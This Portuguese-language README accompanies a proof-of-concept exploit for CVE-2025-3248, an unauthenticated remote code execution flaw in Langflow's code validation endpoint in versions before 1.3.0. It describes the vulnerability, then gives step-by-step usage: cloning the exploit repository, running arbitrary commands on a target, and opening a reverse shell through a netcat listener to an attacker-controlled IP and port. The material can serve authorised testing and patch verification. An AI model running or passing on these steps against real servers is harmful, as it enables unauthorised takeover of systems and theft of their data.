CVE-2025-3248 - Endpoint de Validação de Código do Langflow com RCE

Um exploit de prova de conceito que demonstra uma vulnerabilidade de execução remota de código no endpoint de validação de código do Langflow. Esta vulnerabilidade afeta versões do Langflow anteriores à 1.3.0, permitindo que atacantes não autenticados executem código arbitrário através de requisições HTTP elaboradas.

Detalhes da Vulnerabilidade

• ID do CVE: CVE-2025-3248
• Versões Afetadas: < 1.3.0
• Vetor de Ataque: Remoto
• Autenticação Necessária: Não
• Impacto: Execução Remota de Código (RCE)
• Endpoint: /api/v1/validate/code

Pré-requisitos

• Python 3.x
• Pacotes Python necessários:
  • requests
  • colorama

Instalação

1. Clone o repositório:

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. Instale as dependências:

pip install requests colorama

Uso

O exploit suporta dois modos de operação:

1. Modo de Execução de Comandos

Execute um único comando no sistema alvo:

python3 cve-2025-3248.py cmd <target_url> "<command>"

Exemplo:

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. Modo Reverse Shell

Inicie um reverse shell interativo:

1. Primeiro, inicie um listener na sua máquina:

nc -lvnp 4444

2. Depois execute o exploit:

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

Exemplo:

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444